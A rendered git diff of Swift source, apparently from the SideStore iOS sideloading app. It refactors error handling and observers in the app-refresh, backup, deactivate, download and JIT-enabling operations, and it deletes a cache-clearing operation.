guard self.shouldShowInstructions else { return completionHandler(false) }
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async {
|
||||||
let instructionsViewController = self.storyboard.instantiateViewController(withIdentifier: "instructionsViewController") as! InstructionsViewController
|
let instructionsViewController = self.storyboard.instantiateViewController(withIdentifier: "instructionsViewController") as! InstructionsViewController
|
||||||
instructionsViewController.showsBottomButton = true
|
instructionsViewController.showsBottomButton = true
|
||||||
instructionsViewController.completionHandler = {
|
instructionsViewController.completionHandler = {
|
||||||
completionHandler(true)
|
completionHandler(true)
|
||||||
}
|
}
|
||||||
|
|
||||||
if !self.present(instructionsViewController)
|
if !self.present(instructionsViewController)
|
||||||
{
|
{
|
||||||
completionHandler(false)
|
completionHandler(false)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -13,12 +13,11 @@ import AltStoreCore
|
|||||||
import EmotionalDamage
|
import EmotionalDamage
|
||||||
import minimuxer
|
import minimuxer
|
||||||
|
|
||||||
typealias RefreshError = RefreshErrorCode.Error
|
enum RefreshError: LocalizedError
|
||||||
enum RefreshErrorCode: Int, ALTErrorEnum, CaseIterable
|
|
||||||
{
|
{
|
||||||
case noInstalledApps
|
case noInstalledApps
|
||||||
|
|
||||||
var errorFailureReason: String {
|
var errorDescription: String? {
|
||||||
switch self
|
switch self
|
||||||
{
|
{
|
||||||
case .noInstalledApps: return NSLocalizedString("No active apps require refreshing.", comment: "")
|
case .noInstalledApps: return NSLocalizedString("No active apps require refreshing.", comment: "")
|
||||||
@@ -95,7 +94,7 @@ final class BackgroundRefreshAppsOperation: ResultOperation<[String: Result<Inst
|
|||||||
super.main()
|
super.main()
|
||||||
|
|
||||||
guard !self.installedApps.isEmpty else {
|
guard !self.installedApps.isEmpty else {
|
||||||
self.finish(.failure(RefreshError(.noInstalledApps)))
|
self.finish(.failure(RefreshError.noInstalledApps))
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
start_em_proxy(bind_addr: Consts.Proxy.serverURL)
|
start_em_proxy(bind_addr: Consts.Proxy.serverURL)
|
||||||
@@ -106,11 +105,7 @@ final class BackgroundRefreshAppsOperation: ResultOperation<[String: Result<Inst
|
|||||||
} catch {
|
} catch {
|
||||||
self.finish(.failure(error))
|
self.finish(.failure(error))
|
||||||
}
|
}
|
||||||
if #available(iOS 17, *) {
|
start_auto_mounter(documentsDirectory)
|
||||||
// TODO: iOS 17 and above have a new JIT implementation that is completely broken in SideStore :(
|
|
||||||
} else {
|
|
||||||
start_auto_mounter(documentsDirectory)
|
|
||||||
}
|
|
||||||
|
|
||||||
self.managedObjectContext.perform {
|
self.managedObjectContext.perform {
|
||||||
print("Apps to refresh:", self.installedApps.map(\.bundleIdentifier))
|
print("Apps to refresh:", self.installedApps.map(\.bundleIdentifier))
|
||||||
@@ -203,7 +198,7 @@ private extension BackgroundRefreshAppsOperation
|
|||||||
|
|
||||||
let content = UNMutableNotificationContent()
|
let content = UNMutableNotificationContent()
|
||||||
|
|
||||||
var shouldPresentAlert = true
|
var shouldPresentAlert = false
|
||||||
|
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
@@ -219,7 +214,7 @@ private extension BackgroundRefreshAppsOperation
|
|||||||
content.title = NSLocalizedString("Refreshed Apps", comment: "")
|
content.title = NSLocalizedString("Refreshed Apps", comment: "")
|
||||||
content.body = NSLocalizedString("All apps have been refreshed.", comment: "")
|
content.body = NSLocalizedString("All apps have been refreshed.", comment: "")
|
||||||
}
|
}
|
||||||
catch ~OperationError.Code.noWiFi, ~RefreshErrorCode.noInstalledApps
|
catch RefreshError.noInstalledApps
|
||||||
{
|
{
|
||||||
shouldPresentAlert = false
|
shouldPresentAlert = false
|
||||||
}
|
}
|
||||||
@@ -229,6 +224,8 @@ private extension BackgroundRefreshAppsOperation
|
|||||||
|
|
||||||
content.title = NSLocalizedString("Failed to Refresh Apps", comment: "")
|
content.title = NSLocalizedString("Failed to Refresh Apps", comment: "")
|
||||||
content.body = error.localizedDescription
|
content.body = error.localizedDescription
|
||||||
|
|
||||||
|
shouldPresentAlert = false
|
||||||
}
|
}
|
||||||
|
|
||||||
if shouldPresentAlert
|
if shouldPresentAlert
|
||||||
|
|||||||
@@ -29,9 +29,6 @@ class BackupAppOperation: ResultOperation<Void>
|
|||||||
private var appName: String?
|
private var appName: String?
|
||||||
private var timeoutTimer: Timer?
|
private var timeoutTimer: Timer?
|
||||||
|
|
||||||
private weak var applicationWillReturnObserver: NSObjectProtocol?
|
|
||||||
private weak var backupResponseObserver: NSObjectProtocol?
|
|
||||||
|
|
||||||
init(action: Action, context: InstallAppOperationContext)
|
init(action: Action, context: InstallAppOperationContext)
|
||||||
{
|
{
|
||||||
self.action = action
|
self.action = action
|
||||||
@@ -46,20 +43,19 @@ class BackupAppOperation: ResultOperation<Void>
|
|||||||
|
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
if let error = self.context.error { throw error }
|
if let error = self.context.error
|
||||||
|
{
|
||||||
guard let installedApp = self.context.installedApp, let context = installedApp.managedObjectContext else {
|
throw error
|
||||||
throw OperationError.invalidParameters("BackupAppOperation.main: self.context.installedApp or installedApp.managedObjectContext is nil")
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
guard let installedApp = self.context.installedApp, let context = installedApp.managedObjectContext else { throw OperationError.invalidParameters }
|
||||||
context.perform {
|
context.perform {
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let appName = installedApp.name
|
let appName = installedApp.name
|
||||||
self.appName = appName
|
self.appName = appName
|
||||||
|
|
||||||
guard let altstoreApp = InstalledApp.fetchAltStore(in: context) else {
|
guard let altstoreApp = InstalledApp.fetchAltStore(in: context) else { throw OperationError.appNotFound }
|
||||||
throw OperationError.appNotFound(name: appName)
|
|
||||||
}
|
|
||||||
let altstoreOpenURL = altstoreApp.openAppURL
|
let altstoreOpenURL = altstoreApp.openAppURL
|
||||||
|
|
||||||
var returnURLComponents = URLComponents(url: altstoreOpenURL, resolvingAgainstBaseURL: false)
|
var returnURLComponents = URLComponents(url: altstoreOpenURL, resolvingAgainstBaseURL: false)
|
||||||
@@ -157,11 +153,8 @@ private extension BackupAppOperation
|
|||||||
{
|
{
|
||||||
func registerObservers()
|
func registerObservers()
|
||||||
{
|
{
|
||||||
self.applicationWillReturnObserver = NotificationCenter.default.addObserver(forName: UIApplication.willEnterForegroundNotification, object: nil, queue: .main) { [weak self] (notification) in
|
var applicationWillReturnObserver: NSObjectProtocol!
|
||||||
defer {
|
applicationWillReturnObserver = NotificationCenter.default.addObserver(forName: UIApplication.willEnterForegroundNotification, object: nil, queue: .main) { [weak self] (notification) in
|
||||||
self?.applicationWillReturnObserver.map { NotificationCenter.default.removeObserver($0) }
|
|
||||||
}
|
|
||||||
|
|
||||||
guard let self = self, !self.isFinished else { return }
|
guard let self = self, !self.isFinished else { return }
|
||||||
|
|
||||||
self.timeoutTimer = Timer.scheduledTimer(withTimeInterval: 5, repeats: false) { [weak self] (timer) in
|
self.timeoutTimer = Timer.scheduledTimer(withTimeInterval: 5, repeats: false) { [weak self] (timer) in
|
||||||
@@ -173,17 +166,18 @@ private extension BackupAppOperation
|
|||||||
self.finish(.failure(OperationError.timedOut))
|
self.finish(.failure(OperationError.timedOut))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
NotificationCenter.default.removeObserver(applicationWillReturnObserver!)
|
||||||
}
|
}
|
||||||
|
|
||||||
self.backupResponseObserver = NotificationCenter.default.addObserver(forName: AppDelegate.appBackupDidFinish, object: nil, queue: nil) { [weak self] (notification) in
|
var backupResponseObserver: NSObjectProtocol!
|
||||||
defer {
|
backupResponseObserver = NotificationCenter.default.addObserver(forName: AppDelegate.appBackupDidFinish, object: nil, queue: nil) { [weak self] (notification) in
|
||||||
self?.backupResponseObserver.map { NotificationCenter.default.removeObserver($0) }
|
|
||||||
}
|
|
||||||
|
|
||||||
self?.timeoutTimer?.invalidate()
|
self?.timeoutTimer?.invalidate()
|
||||||
|
|
||||||
let result = notification.userInfo?[AppDelegate.appBackupResultKey] as? Result<Void, Error> ?? .failure(OperationError.unknownResult)
|
let result = notification.userInfo?[AppDelegate.appBackupResultKey] as? Result<Void, Error> ?? .failure(OperationError.unknownResult)
|
||||||
self?.finish(result)
|
self?.finish(result)
|
||||||
|
|
||||||
|
NotificationCenter.default.removeObserver(backupResponseObserver!)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,208 +0,0 @@
|
|||||||
//
|
|
||||||
// ClearAppCacheOperation.swift
|
|
||||||
// AltStore
|
|
||||||
//
|
|
||||||
// Created by Riley Testut on 9/27/22.
|
|
||||||
// Copyright © 2022 Riley Testut. All rights reserved.
|
|
||||||
//
|
|
||||||
|
|
||||||
import Foundation
|
|
||||||
import AltStoreCore
|
|
||||||
/*
|
|
||||||
struct BatchError: ALTLocalizedError
|
|
||||||
{
|
|
||||||
|
|
||||||
enum Code: Int, ALTErrorCode
|
|
||||||
{
|
|
||||||
typealias Error = BatchError
|
|
||||||
|
|
||||||
case batchError
|
|
||||||
}
|
|
||||||
|
|
||||||
var code: Code = .batchError
|
|
||||||
var underlyingErrors: [Error]
|
|
||||||
|
|
||||||
var errorTitle: String?
|
|
||||||
var errorFailure: String?
|
|
||||||
|
|
||||||
init(errors: [Error])
|
|
||||||
{
|
|
||||||
self.underlyingErrors = errors
|
|
||||||
}
|
|
||||||
|
|
||||||
var errorFailureReason: String {
|
|
||||||
guard !self.underlyingErrors.isEmpty else { return NSLocalizedString("An unknown error occured.", comment: "") }
|
|
||||||
|
|
||||||
let errorMessages = self.underlyingErrors.map { $0.localizedDescription }
|
|
||||||
|
|
||||||
let message = errorMessages.joined(separator: "\n\n")
|
|
||||||
return message
|
|
||||||
}
|
|
||||||
}
|
|
||||||
*/
|
|
||||||
@objc(ClearAppCacheOperation)
|
|
||||||
class ClearAppCacheOperation: ResultOperation<Void>
|
|
||||||
{
|
|
||||||
private let coordinator = NSFileCoordinator()
|
|
||||||
private let coordinatorQueue = OperationQueue()
|
|
||||||
|
|
||||||
override init()
|
|
||||||
{
|
|
||||||
self.coordinatorQueue.name = "AltStore - ClearAppCacheOperation Queue"
|
|
||||||
}
|
|
||||||
|
|
||||||
override func main()
|
|
||||||
{
|
|
||||||
super.main()
|
|
||||||
|
|
||||||
var allErrors = [Error]()
|
|
||||||
|
|
||||||
self.clearTemporaryDirectory { result in
|
|
||||||
switch result
|
|
||||||
{
|
|
||||||
//case .failure(let batchError as BatchError): allErrors.append(contentsOf: batchError.underlyingErrors)
|
|
||||||
case .failure(let error): allErrors.append(error)
|
|
||||||
case .success: break
|
|
||||||
}
|
|
||||||
|
|
||||||
self.removeUninstalledAppBackupDirectories { result in
|
|
||||||
switch result
|
|
||||||
{
|
|
||||||
//case .failure(let batchError as BatchError): allErrors.append(contentsOf: batchError.underlyingErrors)
|
|
||||||
case .failure(let error): allErrors.append(error)
|
|
||||||
case .success: break
|
|
||||||
}
|
|
||||||
|
|
||||||
if allErrors.isEmpty
|
|
||||||
{
|
|
||||||
self.finish(.success(()))
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
self.finish(.failure(OperationError.cacheClearError(errors: allErrors.map({ error in
|
|
||||||
return error.localizedDescription
|
|
||||||
}))))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private extension ClearAppCacheOperation
|
|
||||||
{
|
|
||||||
func clearTemporaryDirectory(completion: @escaping (Result<Void, Error>) -> Void)
|
|
||||||
{
|
|
||||||
let intent = NSFileAccessIntent.writingIntent(with: FileManager.default.temporaryDirectory, options: [.forDeleting])
|
|
||||||
self.coordinator.coordinate(with: [intent], queue: self.coordinatorQueue) { (error) in
|
|
||||||
do
|
|
||||||
{
|
|
||||||
if let error
|
|
||||||
{
|
|
||||||
throw error
|
|
||||||
}
|
|
||||||
|
|
||||||
let fileURLs = try FileManager.default.contentsOfDirectory(at: intent.url,
|
|
||||||
includingPropertiesForKeys: [],
|
|
||||||
options: [.skipsSubdirectoryDescendants, .skipsHiddenFiles])
|
|
||||||
var errors = [Error]()
|
|
||||||
|
|
||||||
for fileURL in fileURLs
|
|
||||||
{
|
|
||||||
do
|
|
||||||
{
|
|
||||||
print("[ALTLog] Removing item from temporary directory:", fileURL.lastPathComponent)
|
|
||||||
try FileManager.default.removeItem(at: fileURL)
|
|
||||||
}
|
|
||||||
catch
|
|
||||||
{
|
|
||||||
print("[ALTLog] Failed to remove \(fileURL.lastPathComponent) from temporary directory.", error)
|
|
||||||
errors.append(error)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if !errors.isEmpty
|
|
||||||
{
|
|
||||||
completion(.failure(OperationError.cacheClearError(errors: errors.map({ error in
|
|
||||||
return error.localizedDescription
|
|
||||||
}))))
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
completion(.success(()))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch
|
|
||||||
{
|
|
||||||
completion(.failure(error))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func removeUninstalledAppBackupDirectories(completion: @escaping (Result<Void, Error>) -> Void)
|
|
||||||
{
|
|
||||||
guard let backupsDirectory = FileManager.default.appBackupsDirectory else { return completion(.failure(OperationError.missingAppGroup)) }
|
|
||||||
|
|
||||||
DatabaseManager.shared.persistentContainer.performBackgroundTask { context in
|
|
||||||
let installedAppBundleIDs = Set(InstalledApp.all(in: context).map { $0.bundleIdentifier })
|
|
||||||
|
|
||||||
let intent = NSFileAccessIntent.writingIntent(with: backupsDirectory, options: [.forDeleting])
|
|
||||||
self.coordinator.coordinate(with: [intent], queue: self.coordinatorQueue) { (error) in
|
|
||||||
do
|
|
||||||
{
|
|
||||||
if let error
|
|
||||||
{
|
|
||||||
throw error
|
|
||||||
}
|
|
||||||
|
|
||||||
var isDirectory: ObjCBool = false
|
|
||||||
guard FileManager.default.fileExists(atPath: intent.url.path, isDirectory: &isDirectory), isDirectory.boolValue else {
|
|
||||||
completion(.success(()))
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
let fileURLs = try FileManager.default.contentsOfDirectory(at: intent.url,
|
|
||||||
includingPropertiesForKeys: [.isDirectoryKey, .nameKey],
|
|
||||||
options: [.skipsSubdirectoryDescendants, .skipsHiddenFiles])
|
|
||||||
var errors = [Error]()
|
|
||||||
|
|
||||||
|
|
||||||
for backupDirectory in fileURLs
|
|
||||||
{
|
|
||||||
do
|
|
||||||
{
|
|
||||||
let resourceValues = try backupDirectory.resourceValues(forKeys: [.isDirectoryKey, .nameKey])
|
|
||||||
guard let isDirectory = resourceValues.isDirectory, let bundleID = resourceValues.name else { continue }
|
|
||||||
|
|
||||||
if isDirectory && !installedAppBundleIDs.contains(bundleID) && !AppManager.shared.isActivelyManagingApp(withBundleID: bundleID)
|
|
||||||
{
|
|
||||||
print("[ALTLog] Removing backup directory for uninstalled app:", bundleID)
|
|
||||||
try FileManager.default.removeItem(at: backupDirectory)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch
|
|
||||||
{
|
|
||||||
print("[ALTLog] Failed to remove app backup directory:", error)
|
|
||||||
errors.append(error)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if !errors.isEmpty
|
|
||||||
{
|
|
||||||
completion(.failure(OperationError.cacheClearError(errors: errors.map({ error in
|
|
||||||
return error.localizedDescription
|
|
||||||
}))))
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
completion(.success(()))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch
|
|
||||||
{
|
|
||||||
print("[ALTLog] Failed to remove app backup directory:", error)
|
|
||||||
completion(.failure(error))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -31,7 +31,11 @@ final class DeactivateAppOperation: ResultOperation<InstalledApp>
|
|||||||
{
|
{
|
||||||
super.main()
|
super.main()
|
||||||
|
|
||||||
if let error = self.context.error { return self.finish(.failure(error)) }
|
if let error = self.context.error
|
||||||
|
{
|
||||||
|
self.finish(.failure(error))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
|
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
|
||||||
let installedApp = context.object(with: self.app.objectID) as! InstalledApp
|
let installedApp = context.object(with: self.app.objectID) as! InstalledApp
|
||||||
@@ -41,14 +45,14 @@ final class DeactivateAppOperation: ResultOperation<InstalledApp>
|
|||||||
for profile in allIdentifiers {
|
for profile in allIdentifiers {
|
||||||
do {
|
do {
|
||||||
try remove_provisioning_profile(profile)
|
try remove_provisioning_profile(profile)
|
||||||
self.progress.completedUnitCount += 1
|
|
||||||
installedApp.isActive = false
|
|
||||||
self.finish(.success(installedApp))
|
|
||||||
break
|
|
||||||
} catch {
|
} catch {
|
||||||
self.finish(.failure(error))
|
return self.finish(.failure(error))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
self.progress.completedUnitCount += 1
|
||||||
|
installedApp.isActive = false
|
||||||
|
self.finish(.success(installedApp))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -12,13 +12,29 @@ import Roxas
|
|||||||
import AltStoreCore
|
import AltStoreCore
|
||||||
import AltSign
|
import AltSign
|
||||||
|
|
||||||
|
private extension DownloadAppOperation
|
||||||
|
{
|
||||||
|
struct DependencyError: ALTLocalizedError
|
||||||
|
{
|
||||||
|
let dependency: Dependency
|
||||||
|
let error: Error
|
||||||
|
|
||||||
|
var failure: String? {
|
||||||
|
return String(format: NSLocalizedString("Could not download “%@”.", comment: ""), self.dependency.preferredFilename)
|
||||||
|
}
|
||||||
|
|
||||||
|
var underlyingError: Error? {
|
||||||
|
return self.error
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
@objc(DownloadAppOperation)
|
@objc(DownloadAppOperation)
|
||||||
final class DownloadAppOperation: ResultOperation<ALTApplication>
|
final class DownloadAppOperation: ResultOperation<ALTApplication>
|
||||||
{
|
{
|
||||||
let app: AppProtocol
|
let app: AppProtocol
|
||||||
let context: AppOperationContext
|
let context: AppOperationContext
|
||||||
|
|
||||||
private let appName: String
|
|
||||||
private let bundleIdentifier: String
|
private let bundleIdentifier: String
|
||||||
private var sourceURL: URL?
|
private var sourceURL: URL?
|
||||||
private let destinationURL: URL
|
private let destinationURL: URL
|
||||||
@@ -31,7 +47,6 @@ final class DownloadAppOperation: ResultOperation<ALTApplication>
|
|||||||
self.app = app
|
self.app = app
|
||||||
self.context = context
|
self.context = context
|
||||||
|
|
||||||
self.appName = app.name
|
|
||||||
self.bundleIdentifier = app.bundleIdentifier
|
self.bundleIdentifier = app.bundleIdentifier
|
||||||
self.sourceURL = app.url
|
self.sourceURL = app.url
|
||||||
self.destinationURL = destinationURL
|
self.destinationURL = destinationURL
|
||||||
@@ -54,68 +69,9 @@ final class DownloadAppOperation: ResultOperation<ALTApplication>
|
|||||||
|
|
||||||
print("Downloading App:", self.bundleIdentifier)
|
print("Downloading App:", self.bundleIdentifier)
|
||||||
|
|
||||||
self.localizedFailure = String(format: NSLocalizedString("%@ could not be downloaded.", comment: ""), self.appName)
|
guard let sourceURL = self.sourceURL else { return self.finish(.failure(OperationError.appNotFound)) }
|
||||||
|
|
||||||
guard let storeApp = self.app as? StoreApp else { return self.download(self.app) }
|
self.downloadApp(from: sourceURL) { result in
|
||||||
storeApp.managedObjectContext?.perform {
|
|
||||||
do {
|
|
||||||
let latestVersion = try self.verify(storeApp)
|
|
||||||
self.download(latestVersion)
|
|
||||||
} catch let error as VerificationError where error.code == .iOSVersionNotSupported {
|
|
||||||
guard let presentingViewController = self.context.presentingViewController,
|
|
||||||
let latestSupportedVersion = storeApp.latestSupportedVersion,
|
|
||||||
case let version = latestSupportedVersion.version,
|
|
||||||
version != storeApp.installedApp?.version else {
|
|
||||||
return self.finish(.failure(error))
|
|
||||||
}
|
|
||||||
let title = NSLocalizedString("Unsupported iOS Version", comment: "")
|
|
||||||
let message = error.localizedDescription + "\n\n" + NSLocalizedString("Would you like to download the last version compatible with this device instead?", comment: "")
|
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
|
||||||
let alertController = UIAlertController(title: title, message: message, preferredStyle: .alert)
|
|
||||||
alertController.addAction(UIAlertAction(title: UIAlertAction.cancel.title, style: UIAlertAction.cancel.style) { _ in
|
|
||||||
self.finish(.failure(OperationError.cancelled))
|
|
||||||
})
|
|
||||||
alertController.addAction(UIAlertAction(title: String(format: NSLocalizedString("Download %@ %@", comment: ""), self.appName, version), style: .default) { _ in
|
|
||||||
self.download(latestSupportedVersion)
|
|
||||||
})
|
|
||||||
presentingViewController.present(alertController, animated: true)
|
|
||||||
}
|
|
||||||
} catch {
|
|
||||||
self.finish(.failure(error))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
override func finish(_ result: Result<ALTApplication, any Error>) {
|
|
||||||
do {
|
|
||||||
try FileManager.default.removeItem(at: self.temporaryDirectory)
|
|
||||||
} catch {
|
|
||||||
print("Failed to remove DownloadAppOperation temporary directory: \(self.temporaryDirectory).", error)
|
|
||||||
}
|
|
||||||
super.finish(result)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private extension DownloadAppOperation {
|
|
||||||
func verify(_ storeApp: StoreApp) throws -> AppVersion {
|
|
||||||
guard let version = storeApp.latestAvailableVersion else {
|
|
||||||
let failureReason = String(format: NSLocalizedString("The latest version of %@ could not be determined.", comment: ""), self.appName)
|
|
||||||
throw OperationError.unknown(failureReason: failureReason)
|
|
||||||
}
|
|
||||||
if let minOSVersion = version.minOSVersion, !ProcessInfo.processInfo.isOperatingSystemAtLeast(minOSVersion) {
|
|
||||||
throw VerificationError.iOSVersionNotSupported(app: storeApp, requiredOSVersion: minOSVersion)
|
|
||||||
} else if let maxOSVersion = version.maxOSVersion, ProcessInfo.processInfo.operatingSystemVersion > maxOSVersion {
|
|
||||||
throw VerificationError.iOSVersionNotSupported(app: storeApp, requiredOSVersion: maxOSVersion)
|
|
||||||
}
|
|
||||||
|
|
||||||
return version
|
|
||||||
}
|
|
||||||
|
|
||||||
func download(@Managed _ app: AppProtocol) {
|
|
||||||
guard let sourceURL = self.sourceURL else { return self.finish(.failure(OperationError.appNotFound(name: self.appName))) }
|
|
||||||
|
|
||||||
self.downloadIPA(from: sourceURL) { result in
|
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let application = try result.get()
|
let application = try result.get()
|
||||||
@@ -156,7 +112,24 @@ private extension DownloadAppOperation {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func downloadIPA(from sourceURL: URL, completionHandler: @escaping (Result<ALTApplication, Error>) -> Void)
|
override func finish(_ result: Result<ALTApplication, Error>)
|
||||||
|
{
|
||||||
|
do
|
||||||
|
{
|
||||||
|
try FileManager.default.removeItem(at: self.temporaryDirectory)
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
print("Failed to remove DownloadAppOperation temporary directory: \(self.temporaryDirectory).", error)
|
||||||
|
}
|
||||||
|
|
||||||
|
super.finish(result)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private extension DownloadAppOperation
|
||||||
|
{
|
||||||
|
func downloadApp(from sourceURL: URL, completionHandler: @escaping (Result<ALTApplication, Error>) -> Void)
|
||||||
{
|
{
|
||||||
func finishOperation(_ result: Result<URL, Error>)
|
func finishOperation(_ result: Result<URL, Error>)
|
||||||
{
|
{
|
||||||
@@ -165,7 +138,7 @@ private extension DownloadAppOperation {
|
|||||||
let fileURL = try result.get()
|
let fileURL = try result.get()
|
||||||
|
|
||||||
var isDirectory: ObjCBool = false
|
var isDirectory: ObjCBool = false
|
||||||
guard FileManager.default.fileExists(atPath: fileURL.path, isDirectory: &isDirectory) else { throw OperationError.appNotFound(name: self.appName) }
|
guard FileManager.default.fileExists(atPath: fileURL.path, isDirectory: &isDirectory) else { throw OperationError.appNotFound }
|
||||||
|
|
||||||
try FileManager.default.createDirectory(at: self.temporaryDirectory, withIntermediateDirectories: true, attributes: nil)
|
try FileManager.default.createDirectory(at: self.temporaryDirectory, withIntermediateDirectories: true, attributes: nil)
|
||||||
|
|
||||||
@@ -205,9 +178,6 @@ private extension DownloadAppOperation {
|
|||||||
let downloadTask = self.session.downloadTask(with: sourceURL) { (fileURL, response, error) in
|
let downloadTask = self.session.downloadTask(with: sourceURL) { (fileURL, response, error) in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
if let response = response as? HTTPURLResponse {
|
|
||||||
guard response.statusCode != 404 else { throw CocoaError(.fileNoSuchFile, userInfo: [NSURLErrorKey: sourceURL]) }
|
|
||||||
}
|
|
||||||
let (fileURL, _) = try Result((fileURL, response), error).get()
|
let (fileURL, _) = try Result((fileURL, response), error).get()
|
||||||
finishOperation(.success(fileURL))
|
finishOperation(.success(fileURL))
|
||||||
|
|
||||||
@@ -282,7 +252,7 @@ private extension DownloadAppOperation
|
|||||||
let altstorePlist = try PropertyListDecoder().decode(AltStorePlist.self, from: data)
|
let altstorePlist = try PropertyListDecoder().decode(AltStorePlist.self, from: data)
|
||||||
|
|
||||||
var dependencyURLs = Set<URL>()
|
var dependencyURLs = Set<URL>()
|
||||||
var dependencyError: Error?
|
var dependencyError: DependencyError?
|
||||||
|
|
||||||
let dispatchGroup = DispatchGroup()
|
let dispatchGroup = DispatchGroup()
|
||||||
let progress = Progress(totalUnitCount: Int64(altstorePlist.dependencies.count), parent: self.progress, pendingUnitCount: 1)
|
let progress = Progress(totalUnitCount: Int64(altstorePlist.dependencies.count), parent: self.progress, pendingUnitCount: 1)
|
||||||
@@ -315,7 +285,7 @@ private extension DownloadAppOperation
|
|||||||
}
|
}
|
||||||
catch let error as DecodingError
|
catch let error as DecodingError
|
||||||
{
|
{
|
||||||
let nsError = (error as NSError).withLocalizedFailure(String(format: NSLocalizedString("Could not determine dependencies for %@.", comment: ""), application.name))
|
let nsError = (error as NSError).withLocalizedFailure(String(format: NSLocalizedString("Could not download dependencies for %@.", comment: ""), application.name))
|
||||||
completionHandler(.failure(nsError))
|
completionHandler(.failure(nsError))
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
@@ -324,7 +294,7 @@ private extension DownloadAppOperation
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func download(_ dependency: Dependency, for application: ALTApplication, progress: Progress, completionHandler: @escaping (Result<URL, Error>) -> Void)
|
func download(_ dependency: Dependency, for application: ALTApplication, progress: Progress, completionHandler: @escaping (Result<URL, DependencyError>) -> Void)
|
||||||
{
|
{
|
||||||
let downloadTask = self.session.downloadTask(with: dependency.downloadURL) { (fileURL, response, error) in
|
let downloadTask = self.session.downloadTask(with: dependency.downloadURL) { (fileURL, response, error) in
|
||||||
do
|
do
|
||||||
@@ -345,10 +315,9 @@ private extension DownloadAppOperation
|
|||||||
|
|
||||||
completionHandler(.success(destinationURL))
|
completionHandler(.success(destinationURL))
|
||||||
}
|
}
|
||||||
catch let error as NSError
|
catch
|
||||||
{
|
{
|
||||||
let localizedFailure = String(format: NSLocalizedString("The dependency '%@' could not be downloaded.", comment: ""), dependency.preferredFilename)
|
completionHandler(.failure(DependencyError(dependency: dependency, error: error)))
|
||||||
completionHandler(.failure(error.withLocalizedFailure(localizedFailure)))
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
progress.addChild(downloadTask.progress, withPendingUnitCount: 1)
|
progress.addChild(downloadTask.progress, withPendingUnitCount: 1)
|
||||||
|
|||||||
@@ -9,17 +9,9 @@
|
|||||||
import UIKit
|
import UIKit
|
||||||
import Combine
|
import Combine
|
||||||
import minimuxer
|
import minimuxer
|
||||||
import UniformTypeIdentifiers
|
|
||||||
|
|
||||||
import AltStoreCore
|
import AltStoreCore
|
||||||
|
|
||||||
enum SideJITServerErrorType: Error {
|
|
||||||
case invalidURL
|
|
||||||
case errorConnecting
|
|
||||||
case deviceNotFound
|
|
||||||
case other(String)
|
|
||||||
}
|
|
||||||
|
|
||||||
@available(iOS 14, *)
|
@available(iOS 14, *)
|
||||||
protocol EnableJITContext
|
protocol EnableJITContext
|
||||||
{
|
{
|
||||||
@@ -50,108 +42,16 @@ final class EnableJITOperation<Context: EnableJITContext>: ResultOperation<Void>
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
guard let installedApp = self.context.installedApp else {
|
guard let installedApp = self.context.installedApp else { return self.finish(.failure(OperationError.invalidParameters)) }
|
||||||
return self.finish(.failure(OperationError.invalidParameters("EnableJITOperation.main: self.context.installedApp is nil")))
|
|
||||||
}
|
|
||||||
if #available(iOS 17, *) {
|
|
||||||
let sideJITenabled = UserDefaults.standard.sidejitenable
|
|
||||||
let SideJITIP = UserDefaults.standard.textInputSideJITServerurl ?? ""
|
|
||||||
|
|
||||||
if sideJITenabled {
|
installedApp.managedObjectContext?.perform {
|
||||||
installedApp.managedObjectContext?.perform {
|
do {
|
||||||
EnableJITSideJITServer(serverurl: SideJITIP, installedapp: installedApp) { result in
|
try debug_app(installedApp.resignedBundleIdentifier)
|
||||||
switch result {
|
} catch {
|
||||||
case .failure(let error):
|
return self.finish(.failure(error))
|
||||||
switch error {
|
|
||||||
case .invalidURL, .errorConnecting:
|
|
||||||
